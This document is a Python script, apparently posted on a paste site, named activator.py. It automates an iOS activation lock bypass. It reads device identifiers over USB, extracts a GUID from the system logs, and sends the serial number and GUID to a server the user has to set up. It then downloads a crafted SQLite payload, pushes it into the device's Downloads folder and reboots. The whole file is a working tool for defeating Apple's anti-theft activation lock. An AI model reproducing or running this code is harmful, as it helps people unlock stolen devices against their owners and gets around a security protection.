activator.py 7.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189
  1. import sys
  2. import os
  3. import time
  4. import subprocess
  5. import re
  6. import shutil
  7. import sqlite3
  8. import atexit
  9. class Style:
  10. RESET = '\033[0m'
  11. BOLD = '\033[1m'
  12. DIM = '\033[2m'
  13. RED = '\033[0;31m'
  14. GREEN = '\033[0;32m'
  15. YELLOW = '\033[1;33m'
  16. BLUE = '\033[0;34m'
  17. MAGENTA = '\033[0;35m'
  18. CYAN = '\033[0;36m'
  19. class BypassAutomation:
  20. def __init__(self):
  21. # --- CONFIGURATION ---
  22. # REPLACE THIS URL with your actual domain after deploying the server
  23. self.api_url = "https://your-domain.com/index.php"
  24. self.timeouts = {'asset_wait': 300, 'asset_delete_delay': 15, 'reboot_wait': 300, 'syslog_collect': 180}
  25. self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
  26. self.afc_mode = None
  27. self.device_info = {}
  28. self.guid = None
  29. atexit.register(self._cleanup)
  30. def log(self, msg, level='info'):
  31. if level == 'info': print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
  32. elif level == 'error': print(f"{Style.RED}[✗]{Style.RESET} {msg}")
  33. elif level == 'warn': print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
  34. elif level == 'step':
  35. print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  36. print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
  37. print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  38. elif level == 'detail': print(f"{Style.DIM} ╰─▶{Style.RESET} {msg}")
  39. elif level == 'success': print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
  40. def _run_cmd(self, cmd, timeout=None):
  41. try:
  42. res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
  43. return res.returncode, res.stdout.strip(), res.stderr.strip()
  44. except subprocess.TimeoutExpired: return 124, "", "Timeout"
  45. except Exception as e: return 1, "", str(e)
  46. def verify_dependencies(self):
  47. self.log("Verifying System Requirements...", "step")
  48. if shutil.which("ifuse"): self.afc_mode = "ifuse"
  49. else: self.afc_mode = "pymobiledevice3"
  50. self.log(f"AFC Transfer Mode: {self.afc_mode}", "info")
  51. def mount_afc(self):
  52. if self.afc_mode != "ifuse": return True
  53. os.makedirs(self.mount_point, exist_ok=True)
  54. code, out, _ = self._run_cmd(["mount"])
  55. if self.mount_point in out: return True
  56. for i in range(5):
  57. if self._run_cmd(["ifuse", self.mount_point])[0] == 0: return True
  58. time.sleep(2)
  59. return False
  60. def unmount_afc(self):
  61. if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
  62. self._run_cmd(["umount", self.mount_point])
  63. try: os.rmdir(self.mount_point)
  64. except: pass
  65. def detect_device(self):
  66. self.log("Detecting Device...", "step")
  67. code, out, _ = self._run_cmd(["ideviceinfo"])
  68. if code != 0:
  69. self.log("No device found via USB", "error")
  70. sys.exit(1)
  71. info = {}
  72. for line in out.splitlines():
  73. if ": " in line:
  74. key, val = line.split(": ", 1)
  75. info[key.strip()] = val.strip()
  76. self.device_info = info
  77. print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}")
  78. print(f"UDID: {info.get('UniqueDeviceID','?')}")
  79. if info.get('ActivationState') == 'Activated':
  80. print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
  81. def get_guid(self):
  82. self.log("Extracting System Logs...", "step")
  83. udid = self.device_info['UniqueDeviceID']
  84. log_path = f"{udid}.logarchive"
  85. if os.path.exists(log_path): shutil.rmtree(log_path)
  86. self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=180)
  87. if not os.path.exists(log_path):
  88. self.log("Archive failed, trying live watch...", "warn")
  89. _, out, _ = self._run_cmd(["pymobiledevice3", "syslog", "watch"], timeout=60)
  90. logs = out
  91. else:
  92. tmp = "final.logarchive"
  93. if os.path.exists(tmp): shutil.rmtree(tmp)
  94. shutil.move(log_path, tmp)
  95. _, logs, _ = self._run_cmd(["/usr/bin/log", "show", "--style", "syslog", "--archive", tmp])
  96. shutil.rmtree(tmp)
  97. guid_pattern = re.compile(r'SystemGroup/([0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12})/')
  98. for line in logs.splitlines():
  99. if "BLDatabaseManager" in line:
  100. match = guid_pattern.search(line)
  101. if match: return match.group(1).upper()
  102. return None
  103. def run(self):
  104. os.system('clear')
  105. print(f"{Style.BOLD}{Style.MAGENTA}iOS Activation Tool - Professional Edition{Style.RESET}\n")
  106. self.verify_dependencies()
  107. self.detect_device()
  108. input(f"{Style.YELLOW}Press Enter to start...{Style.RESET}")
  109. # 1. Reboot
  110. self.log("Rebooting device...", "step")
  111. self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
  112. time.sleep(30)
  113. # 2. Get GUID
  114. self.guid = self.get_guid()
  115. if not self.guid:
  116. self.log("Could not find GUID in logs.", "error")
  117. sys.exit(1)
  118. self.log(f"GUID: {self.guid}", "success")
  119. # 3. API Call
  120. self.log("Requesting Payload...", "step")
  121. params = f"prd={self.device_info['ProductType']}&guid={self.guid}&sn={self.device_info['SerialNumber']}"
  122. url = f"{self.api_url}?{params}"
  123. _, out, _ = self._run_cmd(["curl", "-s", url])
  124. if not out.startswith("http"):
  125. self.log(f"Server Error: {out}", "error")
  126. sys.exit(1)
  127. # 4. Download & Deploy
  128. download_url = out.strip()
  129. local_db = "downloads.28.sqlitedb"
  130. if os.path.exists(local_db): os.remove(local_db)
  131. self._run_cmd(["curl", "-L", "-o", local_db, download_url])
  132. conn = sqlite3.connect(local_db)
  133. try:
  134. res = conn.execute("SELECT count(*) FROM sqlite_master WHERE type='table' AND name='asset'")
  135. if res.fetchone()[0] == 0: raise Exception("Invalid DB")
  136. except:
  137. self.log("Invalid payload received.", "error")
  138. sys.exit(1)
  139. conn.close()
  140. # 5. Upload
  141. self.log("Uploading...", "step")
  142. target = "/Downloads/downloads.28.sqlitedb"
  143. if self.afc_mode == "ifuse":
  144. self.mount_afc()
  145. fpath = self.mount_point + target
  146. if os.path.exists(fpath): os.remove(fpath)
  147. shutil.copy(local_db, fpath)
  148. else:
  149. self._run_cmd(["pymobiledevice3", "afc", "rm", target])
  150. self._run_cmd(["pymobiledevice3", "afc", "push", local_db, target])
  151. self.log("Payload Deployed. Rebooting...", "success")
  152. self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
  153. print(f"\n{Style.GREEN}Process Complete. Device should activate after reboot.{Style.RESET}")
  154. self._cleanup()
  155. def _cleanup(self): self.unmount_afc()
  156. if __name__ == "__main__":
  157. BypassAutomation().run()